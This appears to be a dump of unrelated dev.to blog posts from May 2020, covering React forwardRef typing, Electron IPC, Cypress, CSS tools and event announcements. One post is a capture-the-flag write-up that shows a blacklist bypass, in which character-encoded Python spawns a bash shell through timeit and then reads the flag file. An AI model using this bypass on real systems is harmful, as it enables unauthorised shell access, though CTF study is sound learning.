teleren/devto huggingface dataset:
Forwarding refs in TypeScript
Tags: react, typescript
Published: 2020-05-18 08:23:41

> Originally posted on my blog - [selbekk.io](https://www.selbekk.io/blog/2020/05/forwarding-refs-in-typescript/)

When you're working on a component library, or just creating reusable components in general, you often end up creating small wrapper components that only adds a css class or two. Some are more advanced, but you still need to be able to imperatively focus them.

This used to be a hard problem to solve back in the days. Since the ref prop is treated differently than others, and not passed on to the component itself, the community started adding custom props named `innerRef` or `forwardedRef`. To address this, React 16.3 introduced the `React.forwardRef API`. 

The `forwardRef` API is pretty straight-forward. You wrap your component in a function call, with is passed props and the forwarded ref, and you're then supposed to return your component. Here's a simple example in JavaScript:

```tsx
const Button = React.forwardRef(
  (props, forwardedRef) => (
    <button {...props} ref={forwardedRef} />
  )
);
```

You can then use this component like ref was a regular prop:

```tsx
const buttonRef = React.useRef();
return (
  <Button ref={buttonRef}>
    A button
  </Button>
);
```
## How to use forwardRef with TypeScript

I always screw this up, so I hope by writing this article I can help both you and me to figure this out.

The correct way to type a `forwardRef`-wrapped component is:

```tsx
type Props = {};
const Button = React.forwardRef<HTMLButtonElement, Props>(
  (props, ref) => <button ref={ref} {...props} />
);
```

Or more generally:

```tsx
const MyComponent = React.forwardRef<
  TheReferenceType, 
  ThePropsType
>((props, forwardedRef) => (
  <CustomComponentOrHtmlElement ref={forwardedRef} {...props} />
));
```

It was a bit un-intuitive at first, because it looks like you can pass a regular component to ForwardRef. However, regular components don't accept a second ref parameter, so the typing will fail.

I can't count how often I've done this mistake:

```tsx
type Props = {};
const Button: React.RefForwardingComponent<
  HTMLButtonElement,
  Props
> = React.forwardRef(
  (props, ref) => <button ref={ref} {...props} />
);
```

This is a mistake, because the RefForwardingComponent is the type of the render function you create (the one that receives props and ref as arguments), and not the result of calling React.forwardRef.

In other words - **remember to pass your type variables directly to `React.forwardRef`**! It will automatically return the correct type for you.

Another gotcha is the order of the type variables - it's the ref type first, then the props type. It's kind of counter-intuitive to me, since the arguments to the render function is the opposite (props, ref) - so I just remember it's the opposite of what I'd guess. 😅

I hope this article helped you figure out this pesky typing issue that have gotten me so many times in a row. Thanks for reading!
Octant - A GUI for Kubernetes Cluster
Tags: octant, kubernetes, devops, dashboard
Published: 2020-05-18 11:09:34

Octant is powerful and useful dashboard for complete overview of Kubernetes cluster. It provide the complete information of K8s cluster like pods info, deployments, services, logs of each everyvpod with search option, nodes info, autoscalers info, resources usages etc...just check out the link for demo of installing the tool and walkthrough of the Octant UI:
 https://youtu.be/S_-uOD3DNiM

{%youtube S_-uOD3DNiM %}
Electron Typed IPC
Tags: electron, typescript, typed, ipc
Published: 2020-05-18 12:39:50

- no runtime cost (just typescript enhancements)
- keeps the same API as Electron
- separates events from commands to avoid confusions
  - events are things that happened (IPC)
  - commands are async functions you can invoke (RPC)

## 1. Install `electron-typed-ipc` from NPM

```
npm i electron-typed-ipc --save
```

## 2. Define your events/commands

```ts
type Events = {
  configUpdated: (newConfig?: Config, oldConfig?: Config) => void;
};

type Commands = {
  fetchConfig: () => Config;
  updateConfig: (newConfig: Partial<Config>) => void;
};
```

## 3. Add types to `ipcMain` and `ipcRenderer`

```ts
const typedIpcMain = ipcMain as TypedIpcMain<Events, Commands>;
const typesIpcRenderer = ipcRenderer as TypedIpcRenderer<Events, Commands>;
```

## 4. Emit events and invoke commands

```ts
// renderer.js
const config = await typedIpcRenderer.invoke('fetchConfig');

// main.js
typedIpcMain.handle('fetchConfig', () => {
  return { a: 1, b: 'text' };
});
```

```ts
// renderer.js
typedIpcRenderer.on('configUpdated', (_, newConfig, oldConfig) => {
  console.log(newConfig, oldConfig);
});

// main.ts
webContents
  .getAllWebContents()
  .forEach((renderer: TypedWebContents<Events>) => {
    renderer.send('configUpdated', newConfig, oldConfig);
  });
```
Learning about Deno building Gusano 🐍
Tags: deno, javascript
Published: 2020-05-18 14:49:25

A few days ago I started to follow Deno more closely. Although I have more than 3 years of experience in Node JS the proposals that Deno makes seem very interesting to me.

So, a couple of days ago I decided to try it out 🤷.  So I made a little library called "Gusano" (Worm) that allows you to create simple pipelines. 

{% github krthr/gusano %}

I want to share my entire learning journey with you in the future. 

PS: I also receive suggestions and PR's ;) hahaa
Cypress and ng-select
Tags: cypress, angular, material
Published: 2020-05-18 17:05:56

Example of selecting an option in [ng-select](https://ng-select.github.io/ng-select#/data-sources) and submitting subsequent post.

```typescript
.get("ng-select") // get all ng-select elements
         .then((selects) => {
            let select = selects[0]; // we want just first one
            cy.wrap(select) // allows us to click using cypress
               .click() // click on the first ng-select
               .get("ng-dropdown-panel") // get the opened drop-down panel
               .get(".ng-option") // Get all the options in drop-down
               .contains("Employee") // Filter for just this text
               .then((item) => {
                  cy.wrap(item).click(); // Click on the option
                  setInterceptor(/Person/, "POST"); // wait for HTTPResponse
                  cy.get(".fa-save > path")  // click on save button
                    .click().wait("@Route"); // the post to person is complete
               });
         });
```
Sometimes it's confusing decided whether or not to use the native HTML elements or not.  In this case; we had to use the ng-select layer because selecting an option was the only possible after clicking the ng-select element.  ng-select controlled all state of this control.

This is one negative consequence of using any 3rd party tool (including Angular). Reason: They often usurp native HTML ways of doing things.
📆 Livestream Event - Build Your Own Public Digital Garden
Tags: gatsby, digitalgardens, livestream
Published: 2020-05-18 17:31:09

---
title: 📆 Livestream Event - Build Your Own Public Digital Garden
published: true
description: A digital garden is a place to take concepts from initial discovery all the way to original published posts. It's the idea that concepts grow over time. You tend to this concept over time rather than all at once.
tags: Gatsby, Digital Gardens, Livestream
canonical_url: https://www.ianjones.us/blog/2020-05-19-pair-with-maggie-live-event/
---

A digital garden is a place to take concepts from initial discovery all the way to original published posts. It's the idea that concepts grow over time. You tend to this concept over time rather than all at once.

Digital gardens shifted my mindset from needing to post polished blog posts to being ok with rough drafts and coming back to that post when I learn more.

On May 19th, [Maggie](https://twitter.com/Mappletons), [Aengus](https://twitter.com/aengusmcmillin), [Aravind](https://twitter.com/aravindballa), and I will be mob programming on Maggie's digital garden. We will be implementing bi-directional links, link over preview, and talking about how we use our notes to build a digital garden.

[Register here](https://egghead.io/s/2020-05-19-digital-garden-live-stream) if you want to join us!

If you want to read more about digital gardens, here are some great articles:

- [Maggie Appleton's Digital Garden](https://maggieappleton.com/garden)
- [Joel Hooks' Digital Garden](https://joelhooks.com/digital-garden)
- [Tom Critchlow's Digital Garden](https://tomcritchlow.com/blogchains/digital-gardens/)
Microsoft Build 2020 - For developers by developers - Join us for the 48-hour digital experience, at no cost, May 19-20
Tags: news, azure, webdev, aws
Published: 2020-05-18 18:59:22


Hi Folks :+1: :clap: :wave:, I just came to know about Microsoft Build 2020. Just posting some information for your benefit, its taken from the Microsoft Build website.

Register for this :heart: FREE :blush: event [here](https://mybuild.microsoft.com/).

:point_right: Session catalog is [here](https://mybuild.microsoft.com/sessions).



Every developer is welcome. 

**:heart: For developers by developers**

As developers come together to help the world solve new challenges, sharing knowledge and staying connected is more important than ever. Join your community to learn, connect, and code—to expand your skillset today, and innovate for tomorrow.


**:star: More than a livestream**

For developers by developers, a non-stop, 48-hour interactive experience straight to your screen—but what if you can’t wait until May 19? Keep exploring leading up to the event and get a jumpstart on your Microsoft Build experience.

**:heart: Cloud skills challenge**

Earn a free Microsoft Certification exam and a chance to win prizes by completing a collection of online learning modules.

**:+1: Building something new**

This is a different kind of Microsoft Build delivered in a new way. Presenting a digital event provides the developer community unique opportunities to come together for a truly global experience.

Its Free :point_right: [Register Now](https://mybuild.microsoft.com/)

Hope this helps.
The 7 Most Popular DEV Posts from the Past Week
Tags: top7
Published: 2020-05-18 19:59:52

---
title: The 7 Most Popular DEV Posts from the Past Week
published: true
description: A round up of the most-read and most-loved contributions from the community this past week.
tags: icymi
cover_image: https://thepracticaldev.s3.amazonaws.com/i/sfwcvweirpf2qka2lg2b.png
---
Every Monday we round up the previous week's top posts based on traffic, engagement, and a hint of editorial curation. The typical week starts on Monday and ends on Sunday, but don't worry, we take into account posts that are published later in the week. ❤️

#1. Don't Give Up

Rich shares their response to Tom MacWright's article, "Second-guessing the Modern Web." In this post, we discuss the current state of the web, areas for improvement, and why we shouldn't give up.

{% link https://dev.to/richharris/in-defense-of-the-modern-web-2nia %}

#2. Not a get-rich-quick scheme!

Kyle discusses the basics of starting to freelance *the right way*. We learn about the mindset shift, determining your market, pricing, and more!

{% link https://dev.to/study_web_dev/how-to-start-freelancing-the-basics-52d7 %}

#3. Any Machine Will Do

Jayesh shows us how to turn an old laptop into your own personal server in six steps, along with some cool things you can do with it.

{% link https://dev.to/jayesh_w/this-is-how-i-turned-my-old-laptop-into-a-server-1elf %}

#4. No More Baggage

Marko argues against Google Analytics and suggests a privacy-friendly alternatives.

{% link https://dev.to/markosaric/why-you-should-remove-google-analytics-from-your-site-5c7h %}

#5. Climb On Up

Rina shares eight things to avoid if you care about expanding your horizons and opportunities while you climb that career ladder.

{% link https://dev.to/rinaarts/how-to-ruin-your-career-in-8-easy-steps-71 %}

#6. New Ecosystem

Aral walks us through the most used services with Node, and what their Deno alternatives are (if any).

{% link https://dev.to/aralroca/from-node-to-deno-5gpn %}

#7. Define & Compare

Milu shares an in-depth comparison between the following commands: revert, checkout, reset, merge, and rebase.

{% link https://dev.to/milu_franz/git-explained-an-in-depth-comparison-18mk %}

_That's it for our weekly wrap up! Keep an eye on dev.to this week for daily content and discussions...and if you miss anything, we'll be sure to recap it next Monday!_
The Dead Simple Way to Get Weather Information for Your Next JS Project
Tags: typescript, node, npm
Published: 2020-05-18 21:17:11

&nbsp;

With the recent announcement of [Apple acquiring DarkSky API](https://blog.darksky.net/dark-sky-has-a-new-home/). DarkSky API has currently closed down any new enrollments. The other compatible alternative I found one was the [OpenWeatherMap](https://openweathermap.org/api).

## The Challenge

Using APIs raw from their official documentation is cumbersome and cognitively taxing. You need to be mindful of all the different query parameters, filters and many options to build out URLs for different methods. You also need to deal with inconsistent conventions and refer back to the docs frequently get them straight.  

For example, take a look at a few ways to get current weather from  OpenWeatherMap. 😰

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/rsm22q17x00sggkbdkqz.png)

## The Solution

How about we abstract from building out the URLs by yourself and let a library to the heavy-lifting for you? Now Introducing 

### [openweathermap-ts](https://www.npmjs.com/package/openweathermap-ts) 🎉

&nbsp;

The library is built with

* Typescript - Get all the type checking and IntelliSense goodness out of the box.
* Promises - No callbacks FTW! 💪

Now it's as beautiful as 

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/os0og6ckxjtyke6yiv6p.png)

It's declarative, intuitive, and flexible! 
Typing in arguments hurt your wrists? Don't worry, just set up the config object once and you are good.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/82zd2kvmwr730m2dqau2.png)

The efficiency is crazy with easy-to-use methods you can easily get up and going. Don't deal with anything other than business logic. Build smart and use the library. 😎

## Repo

https://github.com/shimphillip/openweathermap-ts

&nbsp;

Thank y'all for taking some time to read the article!
DVD corner bounces, but more satisfying 📀
Tags: javascript, svg, showdev, css
Published: 2020-07-09 18:08:12

The bouncing DVD logo hitting a corner: we all know it & love it.
{% youtube QOtuX0jL85Y %}
But what if what _looked_ like a perfect corner bounce was actually a pixel or two off? Screens have millions of pixels nowadays; we humans don't have the visual faculty to discern something so precise.

<center><h2>Enter: [satisfying-dvd-corners](https://brycedorn.gitlab.io/satisfying-dvd-corners).</h2></center>

### Features:
 - Zooms in* & slows down time [Matrix-style](https://www.youtube.com/watch?v=3c8Dl2c1whM) when a corner bounce is imminent, so you know _with 100% certainty_ that it happened. 
   - _*Doesn't work in [Firefox](https://caniuse.com/#feat=css-zoom), sadly. Also only zooms on top right corner. More about this below._
 - Uses [`Window.requestAnimationFrame()`](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame) for 60fps smoothness. 
 - SVG [DVD logo](https://commons.wikimedia.org/wiki/File:DVD_logo.svg) for infinite scalability.
 - Built in [Svelte](https://svelte.dev/) for a clean, boilerplate-free UI.
 - Some buttons to control/customize behavior.

---

I attempted to do manual scale/deceleration to enable the zoom effect on all corners, but the math got complicated pretty fast. So went with the [zoom CSS property](https://developer.mozilla.org/en-US/docs/Web/CSS/zoom) instead. Couldn't find out how to adjust the zoom focal point though, so currently only applies to the default (top left corner).

May revisit this in the future to attempt at dynamic scaling so other corners have the effect (PRs welcome! 😇).

The corner-predicting calculation was tricky, but because the slope is always either `1` or `-1` it made it easier to determine the intersection point.

Hope you enjoy it! 📺 

View source on Github:

{% github brycedorn/satisfying-dvd-corners no-readme %}
Timer - tjctf
Tags: security, ctf
Published: 2020-05-27 03:48:40

This one is a cool blacklist bypass. It's pretty simple. You are presented a text interface asking you to enter a python command.

```console
Type a command to time it!
```

Trying some simple functions seem to work fine, but....

```console
Type a command to time it!
print(1)
Runtime: 1.09672546387e-05

Type a command to time it!
import os
Hey, no hacking!
```

...there seems to be a blacklist of characters that get screened before the command is run. We must obfuscate it somehow. By digging around, we can see exactly what is in the blacklist and what isn't in the blacklist. Most peculiarly, `timeit` is **NOT** in the blacklist.

> Sidenote: it is hinted that `timeit` could be a possibility because it is visible in the source whenever we provide invalid python code for the program to execute.

```console
Type a command to time it!
arst
Traceback (most recent call last):
  File "/timed.py", line 36, in <module>
    time1=t.timeit(1)
  File "/usr/lib/python2.7/timeit.py", line 202, in timeit
    timing = self.inner(it, self.timer)
  File "<timeit-src>", line 6, in inner
    arst
NameError: global name 'arst' is not defined
Runtime: 0

Type a command to time it!
12.,,
Traceback (most recent call last):
  File "/timed.py", line 31, in <module>
    t=timeit.Timer(res)
  File "/usr/lib/python2.7/timeit.py", line 129, in __init__
    compile(setup + '\n' + stmt, dummy_src_name, "exec")
  File "<timeit-src>", line 2
    12.,,
        ^
SyntaxError: invalid syntax
```

We can do something like the following in order to trick the program into executing blacklisted commands:

```python
# We want to execute the following python
want_exec = 'import pty;pty.spawn("/bin/bash")'
# So we obfuscate it a bit
obfuscated = [ord(x) for x in want_exec]
# and we can just reverse it using a join-map
assert want_exec == ''.join(map(chr, obfuscated))

# Payload:
timeit(''.join(map(chr, [105, ...])))
```

By pasting the payload into the program, we get a shell:

```console
Type a command to time it!
timeit(''.join(map(chr, [105, ...])))
bash: /root/.bashrc: Permission denied
nobody@c51f99923c23:/$ ls
ls
bin   dev  flag.txt  lib    media  opt   root  sbin  sys       tmp  var
boot  etc  home      lib64  mnt    proc  run   srv   timed.py  usr
nobody@c51f99923c23:/$ cat flag.txt
cat flag.txt
tjctf{iTs_T1m3_f0r_a_flaggg}
```
Visualizing the power of CSS Filters using Picturesque.css
Tags: showdev, css, javascript, codenewbie
Published: 2020-05-27 05:16:53

Hey folks! How you doing?

I was quite busy recently focusing all my efforts into making this app work! I know the name sounds terrific, but that's actually what the app is all about.

{% twitter 1265332914125930497 %}

# 🤷‍♂️ What is Picturesque.css?

Picturesque is an online tool that provides a convenient interface to visualize your images with CSS filter effects and get the corresponding CSS styles after the filters have been applied. And that's it.

![https://i.imgur.com/0HnPmvf.png](https://i.imgur.com/0HnPmvf.png)

## 💁‍♂️ What it's built using?

Well, it's pretty much a beginner's stack, as I wanted to use what I learned, to build something from scratch. Yes, it's good old **HTML, CSS (Sass) and JS (jQuery)**. 

## 🙌 Who does it help?

Almost about anyone, starting to learn the powers of CSS Filters and also people who used to spend a lot of time earlier getting the right %'s of `brightness` or `blur` to their images!

![https://i.imgur.com/vCA1c5p.png](https://i.imgur.com/vCA1c5p.png)

## 🤘 How can I access it?

It's proudly hosted on amazing **[Vercel](https://vercel.com/).** You can watch the live site, **[Picturesque](https://picturesque-css.now.sh/)**.


## ⭐ Is it Open Source?

Hell yeah, it's at the heart of every software. Here's a link to its source code, at GitHub. Make sure to give it a ⭐ if its something you liked!

{% github heytulsiprasad/picturesque.css %}

# 🎉 Contribute

If you are having any dope ideas to improve this *(even as little as changing the font-face)*, don't think twice, the repo is very **beginner-friendly. (**I'm too **😅)** Go ahead, create an issue, and start working or let me know at Twitter [@heytulsiprasad](https://twitter.com/heytulsiprasad).
[Question] Dev API podcast URL
Published: 2020-05-27 07:53:30

Hi everyone,

Just a quick question regarding the DEV API.
Is there any method to get the URL of a podcast? 
Based on the docs you can get the relative path of an episode, but I would also like to get the URL of the stream. 

This is the model of a podcast episode that I can get right now from https://dev.to/api/podcast_episodes:
```json
{
"type_of": "podcast_episodes",
"id": 13894,
"path": "/codenewbie/s11-e7-why-site-reliability-is-so-important-molly-struve",
"image_url": "https://dev-to-uploads.s3.amazonaws.com/uploads/podcast/image/2/9f50a462-9152-429a-b15e-d024baaa8e01.png",
"title": "S11:E7 - Why site reliability is so important (Molly Struve)",
"podcast": {
    "title": "CodeNewbie",
    "slug": "codenewbie",
    "image_url": "https://dev-to-uploads.s3.amazonaws.com/uploads/podcast/image/2/9f50a462-9152-429a-b15e-d024baaa8e01.png"
    }
}
```
Get Chrome To Show The Full URL In The Address Bar
Tags: chrome, tutorial, browsers, tips
Published: 2020-05-27 14:47:35

Hey Devs 👋, 

Has the address bar change been frustrating you because you can't see the full URL anymore? Here is a handy tip to get it back, including the protocol.

1. Enable chrome://flags/#omnibox-context-menu-show-full-urls

2. Right click the address bar

3. Select 'Always show full URLs'

---
For more awesome tips about FrontEnd dev follow me:
💙[Twitter](https://www.twitter.com/frontenddude) 
🖤[Dev.to](https://dev.to/frontenddude)
🛑🛑 Advice to Software Tester Before Starting API Testing 🛑🛑
Tags: testing, tutorial, webdev, beginners
Published: 2020-05-27 16:48:40

In this video of 30 Days of API Testing Challenge, I am going to discuss Advice to Software Tester Before Starting API Testing.

> 🚀 Day 27 Task:  Advice for someone looking to get started with API testing.

[![30 Days of API Testing](https://i.imgur.com/XkwXrED.png)](https://youtu.be/YJsNKmxCKaQ "30 Days of API Testing")


🚀 Thread:  https://scrolltest.com/api/day27

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/1g163338sr2q3svfln4i.png)

🚀 All Task List: https://scrolltest.com/api/task

🚀 Watch Full Playlist: https://apitesting.co/30days

-- 

## 🚀 Mastering API Testing -  https://www.learnapitesting.com


--
Be sure to subscribe for more videos like this!

[![ TheTestingAcademy](https://dev-to-uploads.s3.amazonaws.com/i/r7vcy6wbvyjbk1y1uu0o.png
)](https://www.youtube.com/TheTestingAcademy?sub_confirmation=1 "TheTestingAcademy")